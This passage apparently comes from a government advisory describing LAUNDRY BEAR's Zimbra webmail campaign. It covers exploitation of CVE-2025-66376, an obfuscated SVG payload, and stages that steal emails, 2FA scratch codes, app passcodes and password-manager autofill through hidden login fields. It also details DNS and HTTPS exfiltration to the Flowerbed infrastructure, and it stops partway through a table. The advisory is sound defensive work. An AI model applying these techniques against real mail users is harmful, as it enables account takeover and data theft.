<p>Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/">T1048</a>]. For additional information on Catcher, refer to the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank">T1048.002</a>]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.</p>
<p>The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank">T1588.007</a>]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank">T1588.002</a>], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.</p>
<h3><em><strong>Initial access</strong></em></h3>
<p>To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [<a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank">T1566</a>]. Through exploitation of <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, this JavaScript payload is immediately executed once the user views the malicious email [<a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank">T1203</a>], such as the one shown in <a href="https://www.cisa.gov/#figure1"><strong>Figure 1</strong></a>, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [<a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank">T1199</a>], as shown in the email metadata in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure1.png?itok=yrzcl7tK" width="604" height="235" alt="Figure 1: Example of malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 1: Example of malicious email</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure2.png?itok=vEulmmyx" width="604" height="102" alt="Figure 2: Headers from an example malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 2: Headers from an example malicious email</strong></em></figcaption>
  </figure>
<p>According to the National Vulnerability Database (NVD), <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66376" target="_blank">CVE-2025-66376</a> was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [<a href="https://www.cisa.gov/#wc5">5</a>]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank">T1587.004</a>].  </p>
<p><strong>Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.</strong></p>
<p>Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank">T1027.017</a>], as shown in <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a>. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>) [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank">T1027.013</a>]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank">T1027.010</a>], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [<a href="https://attack.mitre.org/versions/v19/techniques/T1119/">T1119</a>]. The stages in order of appearance within the payload are as follows:</p>
<ol>
<li>sendStartPing,</li>
<li>gather_email,</li>
<li>gather_environment,</li>
<li>gather_2fa_codes,</li>
<li>gather_app_password,</li>
<li>gather_device_status,</li>
<li>gather_oauth_consumers,</li>
<li>gather_autocomplete_password,</li>
<li>enable_mail_protocols,</li>
<li>gather_gal,</li>
<li>sendArchives, and</li>
<li>sendFinishPing. </li>
</ol>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure3_0.png?itok=M-bj5-nb" width="607" height="577" alt="Figure 3: Malicious payload of example email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 3: Malicious payload of example email</strong></em></figcaption>
  </figure>
<p>Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank">T1587</a>].</p>
<h3><em><strong>Persistence and credential access</strong></em><a class="ck-anchor"></a></h3>
<p>To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [<a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank">T1550.004</a>], and the Zimbra campaign follows a similar trend.</p>
<p>The script used in this campaign tries to discover the victim’s email address during the <em>gather_email</em> stage [<a href="https://attack.mitre.org/techniques/T1087/" target="_blank">T1087</a>]. The script searches for this email address in two ways. First, it examines the <em>batchInfoResponse </em>variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [<a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank">T1185</a>] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of <em>null </em>over HTTPS and does not attempt DNS exfiltration.</p>
<p>During the <em>gather_autocomplete_password</em> stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a>. If there is no value in that input field, it checks the password input field shown in <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of <em>null </em>is sent over HTTPS and DNS exfiltration is not attempted.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure4.png?itok=ZOZ8JHZC" width="1024" height="188" alt="Figure 4: First illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 4: First illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure5.png?itok=8xZU_GCa" width="1024" height="115" alt="Figure 5: Second illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 5: Second illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p>LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the <em>enable_mail_protocols</em> stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.</p>
<p>ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the <em>gather_app_password</em> stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank">T1556.006</a>]. The SOAP request uses “ZimbraWeb” as the name of the application.</p>
<p>Additionally, the script also attempts to collect 2FA tokens. During the <em>gather_2fa_codes</em> stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.</p>
<h3><em><strong>Collection</strong></em><a class="ck-anchor"></a></h3>
<p>As demonstrated in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, other SOAP commands executed to collect victim information are shown in <a href="https://www.cisa.gov/#table1"><strong>Table 1</strong></a>.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 1: Additional SOAP commands used</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>SOAP Command </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Namespace </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Stage </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraSync </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>SearchGalRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.</p>
<p>During the <em>gather_environment</em> stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in <a href="https://www.cisa.gov/#table2"><strong>Table 2</strong></a>) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 2: ZCS webmail client types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Indicator </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Client Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Associated Value </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>?client=advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/h/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Standard </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>h </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/modern/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Modern </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>m </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&amp;meta=0&amp;query=date:-{DAY_OFFSET}d AND (not in:junk)”. The <em>{DAY_OFFSET}</em> value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of <em>zd_comp_YYYY-MM-DD</em>, and value of <em>true</em>, is saved to the <em>window.top.localStorage</em> property. This variable is saved regardless of whether the email is successfully exfiltrated.  </p>
<p>According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a <em>{DAY_OFFSET} </em>of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section.</p>
<p>The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of <em>gather_gal:{VAL}:api</em>. The <em>{VAL}</em> placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder <em>{DAY_OFFSET},</em> with a format of <em>sendArchive:day-{DAY_OFFSET}</em>.</p>
<h3><em><strong>Exfiltration</strong></em><a class="ck-anchor"></a></h3>
<p>At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank">T1048.003</a>] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.</p>
<p>Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  </p>
<h4><strong>DNS exfiltration</strong></h4>
<p>DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, <em>Ulej </em>maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a>. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure6.png?itok=Tv8RT8o8" width="1024" height="49" alt="Figure 6: Structure for information exfiltrated by DNS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 6: Structure for information exfiltrated by DNS</strong></em></figcaption>
  </figure>
<p>When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. <a href="https://www.cisa.gov/#table3"><strong>Table 3</strong></a> lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 3: DNS exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Data Type </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>e </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Client Type </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Zimbra Version </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment  </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>v </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>URL at Time of Exploitation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2FA Scratch Codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2fa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pw </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<h4><strong>HTTPS exfiltration</strong></h4>
<p>Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in <a href="https://www.cisa.gov/#table4"><strong>Table 4</strong></a>. Traffic associated with HTTPS exfiltration will use the URL scheme shown in <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 4: HTTPS exfiltration types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>Content Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>URL Path </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/json </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/p </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/octet-stream </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/d </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%207.png?itok=CdTcyMdN" width="1024" height="50" alt="Figure 7: Structure for information exfiltrated by HTTPS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 7: Structure for information exfiltrated by HTTPS</strong></em></figcaption>
  </figure>
<p>Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  </p>
<p><a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> provides a summary of the JSON-based exfiltration.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 5: HTTPS JSON exfiltration  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>JSON Key(s) </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>email </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Client Type, Version, and Current URL </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>client, version, full_url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>app_password </p>
</div>
</div>
</td>
